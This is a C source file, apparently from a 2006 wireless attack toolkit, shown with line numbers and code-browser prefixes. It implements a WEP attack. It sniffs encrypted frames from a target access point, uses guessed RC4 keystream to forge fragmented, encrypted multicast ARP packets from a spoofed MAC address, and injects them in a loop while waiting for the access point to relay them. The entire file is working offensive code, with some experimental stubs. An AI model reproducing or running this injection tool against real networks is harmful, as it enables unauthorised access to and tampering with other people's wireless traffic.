1 /*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 */
26 #include <sys/time.h>
27 #include <sys/types.h>
28 #include <sys/socket.h>
29 #include <sys/uio.h>
30 #include <netinet/in.h>
31 #include <arpa/inet.h>
32 #include <netinet/in_systm.h>
33 #include <netinet/ip.h>
34 #include <string.h>
35 #include <stdio.h>
36 #include <stdlib.h>
37 #include <unistd.h>
38 #include <fcntl.h>
39 #include <err.h>
40 #include <assert.h>
41 #include <zlib.h>
42 #include "w00t.h"
43
44 enum {
45 S_START = 0,
46 S_WAIT_RELAY,
47 };
48
49 struct queue {
50 struct ieee80211_frame *wh;
51 int len;
52
53 char *buf;
54 int live;
55 struct queue *next;
56 };
57
58 struct params {
59 int rx;
60 int tx;
61
62 int tap;
63
64 char mcast[5];
65 char mac[6];
66 char ap[6];
67
68 char prga[2048];
69 int prga_len;
70
71 int state;
72
73 struct queue *q;
74
75 char packet[2048];
76 int packet_len;
77 struct timeval last;
78
79 int seq;
80
81 unsigned char guess;
82 };
83
wanted(struct params * p,struct ieee80211_frame * wh,int len)84 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
85 {
86 char *bssid, *sa;
87
88 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
89 bssid = wh->i_addr1;
90 sa = wh->i_addr2;
91 }
92 else {
93 bssid = wh->i_addr2;
94 sa = wh->i_addr3;
95 }
96
97 if (memcmp(bssid, p->ap, 6) != 0)
98 return 0;
99
100 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
101 printf("Got non WEP packet...\n");
102 return 0;
103 }
104
105 /* my own shit */
106 if (memcmp(p->mac, sa, 6) == 0)
107 return 0;
108
109 return 1;
110 }
111
enque(struct params * p,char ** buf,struct ieee80211_frame * wh,int len)112 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
113 {
114 struct queue *q = p->q;
115 int qlen = 0;
116 char *ret = NULL;
117 struct queue *last = NULL;
118
119 /* find a slot */
120 while (q) {
121 if (q->live)
122 qlen++;
123 else {
124 /* recycle */
125 ret = q->buf;
126 break;
127 }
128
129 last = q;
130 q = q->next;
131 }
132
133 /* need to create slot */
134 if (!q) {
135 q = (struct queue*) malloc(sizeof(*q));
136 if (!q)
137 err(1, "malloc()");
138 memset(q, 0, sizeof(*q));
139
140 /* insert */
141 if (!p->q)
142 p->q = q;
143 else {
144 assert(last);
145 last->next = q;
146 }
147 }
148
149 q->live = 1;
150 q->buf = *buf;
151 q->len = len;
152 q->wh = wh;
153
154 qlen++;
155
156 if (qlen > 5)
157 printf("Enque. Size: %d\n", qlen);
158 *buf = ret;
159 }
160
send_packet(struct params * p)161 void send_packet(struct params *p)
162 {
163 int rc;
164
165 rc = inject(p->tx, p->packet, p->packet_len);
166 if (rc == -1)
167 err(1, "inject()");
168 if (rc != p->packet_len) {
169 printf("Wrote %d/%d\n", rc, p->packet_len);
170 exit(1);
171 }
172
173 if (gettimeofday(&p->last, NULL) == -1)
174 err(1, "gettimeofday()");
175 }
176 #include <openssl/rc4.h>
send_mcast(struct params * p,unsigned char x)177 void send_mcast(struct params *p, unsigned char x)
178 {
179 struct ieee80211_frame *wh;
180 short *seq;
181 struct queue *q = p->q;
182 char *data, *ptr;
183 int len;
184 uLong crc = crc32(0L, Z_NULL, 0);
185 uLong *pcrc;
186 int i;
187 int need_frag = 0;
188 char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
189
190 assert(q);
191
192 /* 802.11 */
193 memset(p->packet, 0, sizeof(p->packet));
194 wh = (struct ieee80211_frame*) p->packet;
195 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
196 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
197 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
198 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
199
200 wh->i_dur[0] = 0x69;
201
202 memcpy(wh->i_addr1, p->ap, 6);
203 memcpy(wh->i_addr2, p->mac, 6);
204 memcpy(wh->i_addr3, p->mcast, 5);
205 wh->i_addr3[5] = x;
206
207 seq = (short*) wh->i_seq;
208 *seq = seqfn(p->seq++, 0);
209
210 /* IV */
211 data = (char*) (wh+1);
212 ptr = (char*) (q->wh+1);
213 memcpy(data, ptr, 3);
214
215 if (p->prga_len == 0) {
216
217 RC4_KEY k;
218 unsigned char key[8];
219
220 memset(&key[3], 0x61, 5);
221 memcpy(key, (q->wh+1), 3);
222 p->prga_len = 128;
223
224 RC4_set_key(&k, 8, key);
225 memset(p->prga, 0, sizeof(p->prga));
226 RC4(&k, p->prga_len, p->prga, p->prga);
227
228
229 #if 0
230 int ptl = q->len;
231 char *pt;
232
233 pt = known_pt(q->wh, &ptl);
234 ptr += 4;
235 p->prga_len = ptl;
236 for (i = 0; i < p->prga_len; i++)
237 p->prga[i] = ptr[i] ^ pt[i];
238 #endif
239 }
240
241 /* data */
242 data += 4;
243 memcpy(data, payload, sizeof(payload));
244 p->prga_len = 12;
245 len = p->prga_len + 1 - 4;
246
247 #if 1
248 if (len < sizeof(payload)) {
249 need_frag = len;
250 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
251 }
252 #endif
253
254 /* crc */
255 pcrc = (uLong*) (data+len);
256 *pcrc = crc32(crc, data, len);
257
258 /* wepify */
259 len += 4;
260 for (i = 0; i < (len); i++) {
261 assert( i <= p->prga_len);
262 data[i] ^= p->prga[i];
263 }
264 // data[i] ^= x;
265
266 len += sizeof(*wh);
267 p->packet_len = len + 4;
268 send_packet(p);
269
270 /* the data we sent is too fucking short */
271 if (need_frag) {
272 memset(data, 0, len);
273
274 /* 802.11 */
275 *seq = seqfn(p->seq-1, 1);
276 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
277
278 /* data */
279 len = sizeof(payload) - need_frag;
280 assert(len > 0 && len <= (p->prga_len - 4));
281 memcpy(data, &payload[need_frag], len);
282
283 /* crc */
284 crc = crc32(0L, Z_NULL, 0);
285 len = p->prga_len - 4;
286 pcrc = (uLong*) (data+len);
287 *pcrc = crc32(crc, data, len);
288
289 /* wepify */
290 len += 4;
291 for (i = 0; i < len; i++) {
292 assert( i < p->prga_len);
293 data[i] ^= p->prga[i];
294 }
295
296 len += sizeof(*wh) + 4;
297 p->packet_len = len;
298 send_packet(p);
299 }
300 }
301
send_queue(struct params * p)302 void send_queue(struct params *p)
303 {
304 struct queue *q = p->q;
305 int i;
306
307 assert(q);
308 assert(q->live);
309
310 for (i = 0; i < 5; i++) {
311 send_mcast(p, p->guess++);
312 }
313
314 p->state = S_WAIT_RELAY;
315 }
316
got_mcast(struct params * p,struct ieee80211_frame * wh,int len)317 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
318 {
319 printf("ao\n");
320 }
321
read_wifi(struct params * p)322 void read_wifi(struct params *p)
323 {
324 static char *buf = 0;
325 static int buflen = 4096;
326 struct ieee80211_frame *wh;
327 int rc;
328
329 if (!buf) {
330 buf = (char*) malloc(buflen);
331 if (!buf)
332 err(1, "malloc()");
333 }
334
335 rc = sniff(p->rx, buf, buflen);
336 if (rc == -1)
337 err(1, "sniff()");
338
339 wh = get_wifi(buf, &rc);
340 if (!wh)
341 return;
342
343 /* relayed macast */
344 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
345 IEEE80211_FC0_SUBTYPE_DATA) &&
346 (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
347 (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
348 (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
349 (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
350 got_mcast(p, wh, rc);
351 return;
352 }
353
354 /* data */
355 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
356 IEEE80211_FC0_SUBTYPE_DATA)) {
357 if (!wanted(p, wh, rc))
358 return;
359
360 enque(p, &buf, wh, rc);
361 if (p->state == S_START)
362 send_queue(p);
363 return;
364 }
365 }
366
own(struct params * p)367 void own(struct params *p)
368 {
369 struct timeval tv;
370 struct timeval *to = NULL;
371 fd_set fds;
372 int tout = 10*1000;
373
374 if (p->state == S_WAIT_RELAY) {
375 int el;
376
377 /* check timeout */
378 if (gettimeofday(&tv, NULL) == -1)
379 err(1, "gettimeofday()");
380
381 el = elapsed(&p->last, &tv);
382
383 /* timeout */
384 if (el >= tout) {
385 if (p->q && p->q->live) {
386 send_queue(p);
387 el = 0;
388 } else {
389 p->state = S_START;
390 return;
391 }
392 }
393 el = tout - el;
394 tv.tv_sec = el/1000/1000;
395 tv.tv_usec = el - tv.tv_sec*1000*1000;
396 to = &tv;
397 }
398
399 FD_ZERO(&fds);
400 FD_SET(p->rx, &fds);
401
402 if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
403 err(1, "select()");
404
405 if (FD_ISSET(p->rx, &fds))
406 read_wifi(p);
407 }
408
usage(char * name)409 void usage(char *name)
410 {
411 printf("Usage %s <opts>\n"
412 "-h\thelp\n"
413 "-b\t<bssid>\n"
414 "-t\t<tap>\n"
415 , name);
416 exit(1);
417 }
418
main(int argc,char * argv[])419 int main(int argc, char *argv[])
420 {
421 struct params p;
422 char *iface = "wlan0";
423 char *tap = "tap0";
424 int ch;
425
426 memset(&p, 0, sizeof(p));
427 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
428 p.seq = getpid();
429 memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
430
431 while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
432 switch (ch) {
433 case 't':
434 tap = optarg;
435 break;
436
437 case 'b':
438 if (str2mac(p.ap, optarg) == -1) {
439 printf("Can't parse BSSID\n");
440 exit(1);
441 }
442 break;
443
444 case 'h':
445 default:
446 usage(argv[0]);
447 break;
448 }
449 }
450
451 if ((p.rx = open_rx(iface)) == -1)
452 err(1, "open_rx()");
453 if ((p.tx = open_tx(iface)) == -1)
454 err(1, "open_tx()");
455
456 if ((p.tap = open_tap(tap)) == -1)
457 err(1, "open_tap()");
458 if (set_iface_mac(tap, p.mac) == -1)
459 err(1, "set_iface_mac()");
460
461 p.state = S_START;
462 while (1)
463 own(&p);
464
465 exit(0);
466 }
467